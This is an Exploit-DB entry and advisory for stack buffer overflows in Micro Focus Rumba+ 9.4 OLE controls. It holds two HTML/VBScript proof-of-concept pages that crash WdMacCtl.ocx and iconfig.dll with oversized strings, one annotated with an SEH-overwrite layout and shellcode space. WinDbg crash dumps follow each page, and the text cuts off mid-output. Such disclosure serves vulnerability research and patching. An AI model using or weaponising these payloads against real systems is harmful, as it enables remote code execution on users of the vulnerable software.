Exploit-DB #39857
Description: Micro Focus Rumba+ 9.4 - Multiple Stack Buffer Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2016-05-26
Author: LiquidWorm

Exploit:

Micro Focus Rumba+ v9.4 Multiple Stack Buffer Overflow Vulnerabilities


Vendor: Micro Focus
Product web page: https://www.microfocus.com
Affected version: 9.4.4058.0 and 9.4.0 SP0 Patch0

Affected products/tools : Rumba Desktop 9.4
                          Rumba 9.4 Trace
                          Rumba 9.4 APPC Configuration
                          Rumba 9.4 AS400 Communications
                          Rumba 9.4 AS400 File Transfer
                          Rumba 9.4 Communication Monitor
                          Rumba 9.4 Engine
                          Rumba 9.4 Screen Designer
                          Rumba 9.4 Submit Remote Command ;]
                          Rumba FTP Client 4.5

Summary: Rumba is a terminal emulation solution with UI (User Interface)
modernization properties. Rumba and Rumba+ allows users to connect to
so-called 'legacy systems' (typically a mainframe) via desktop, web and
mobile.

Desc: Rumba+ software package suffers from multiple stack buffer overflow
vulnerabilities when parsing large amount of bytes to several functions in
several OLE controls. An attacker can gain access to the system of the affected
node and execute arbitrary code.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Enterprise SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5327
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5327.php


03.02.2016

--


----------------------------
1. MacroName (WdMacCtl.ocx):
----------------------------

<html>
<object classid='clsid:56359FC0-E847-11CE-BE79-02608C8F68F1' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RUMBA\SYSTEM\WdMacCtl.OCX"
prototype  = "Function PlayMacro ( ByVal MacroName As String ) As Boolean"
memberName = "PlayMacro"
progid     = "ObjectXMacro.ObjectXMacro"
argCount   = 1

arg1=String(272, "A") + "BBBB" + String(16, "C") + "DDDD" + "EEEE" + String(14700, "C")
'            ^             ^             ^           ^        ^               ^
'            |             |             |           |        |               |
'-----------junk---------ds:edx-------padding-------nseh-----seh------------scspace----
'                                                                     6224 bytes usable space


target.PlayMacro arg1 

</script>
</html>

===

(1d78.52c): Access violation - code c0000005 (!!! second chance !!!)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SysWOW64\ntdll.dll - 
eax=00000000 ebx=45454545 ecx=74d72a9c edx=42424242 esi=0032ddc0 edi=00000000
eip=770a15fe esp=0032dd58 ebp=0032ddac iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtRaiseException+0x12:
770a15fe 83c404          add     esp,4
0:000> !exchain
0032e7cc: 45454545
Invalid exception stack at 44444444
0:000> d 0032e7cc
0032e7cc  44 44 44 44 45 45 45 45-43 43 43 43 43 43 43 43  DDDDEEEECCCCCCCC
0032e7dc  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0032e7ec  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0032e7fc  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0032e80c  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0032e81c  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0032e82c  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0032e83c  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0032ddac 77[PII_REDACTED]ddc0 0032de10 00000000 ntdll!NtRaiseException+0x12
0032e0e0 7711071a 45454545 fffffffe fffffffe ntdll!RtlRemoteCall+0x236
0032e130 770db3f5 45[PII_REDACTED]004d 0032e82c ntdll!RtlUlonglongByteSwap+0x1327a
0032e1b0 77[PII_REDACTED]e1c8 0032e218 0032e1c8 ntdll!LdrRemoveLoadAsDataTable+0xcac
0032e7b0 [PII_REDACTED] [PII_REDACTED] ntdll!KiUserExceptionDispatcher+0xf
0032e7b4 [PII_REDACTED] [PII_REDACTED] 0x41414141
0032e7b8 [PII_REDACTED] [PII_REDACTED] 0x42424242
0032e7bc [PII_REDACTED] [PII_REDACTED] 0x43434343
0032e7c0 [PII_REDACTED] [PII_REDACTED] 0x43434343
0032e7c4 [PII_REDACTED] [PII_REDACTED] 0x43434343
0032e7c8 [PII_REDACTED] [PII_REDACTED] 0x43434343
0032e7cc [PII_REDACTED] [PII_REDACTED] 0x44444444
0032e7d0 [PII_REDACTED] [PII_REDACTED] 0x45454545
0032e7d4 [PII_REDACTED] [PII_REDACTED] 0x43434343
0032e7d8 [PII_REDACTED] [PII_REDACTED] 0x43434343
0032e7dc [PII_REDACTED] [PII_REDACTED] 0x43434343


-----------------------------
2. NetworkName (iconfig.dll):
-----------------------------

<html>
<object classid='clsid:E1E0A940-BE28-11CF-B4A0-0004AC32AD97' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\Micro Focus\RUMBA\system\iconfig.dll"
prototype  = "Property Let NetworkName As String"
memberName = "NetworkName"
progid     = "ObjectXSNAConfig.ObjectXSNAConfig"
argCount   = 1
arg1=String(9000000, "B")
target.NetworkName = arg1
</script>
</html>

===

STATUS_STACK_BUFFER_OVERRUN encountered
(2958.3e0): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\windows\syswow64\kernel32.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\windows\SysWOW64\MSVCR120.dll - 
eax=00000000 ebx=616c4480 ecx=76280484 edx=003ee021 esi=00000000 edi=003ee794
eip=76280265 esp=003ee268 ebp=003ee2e4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
kernel32!Ge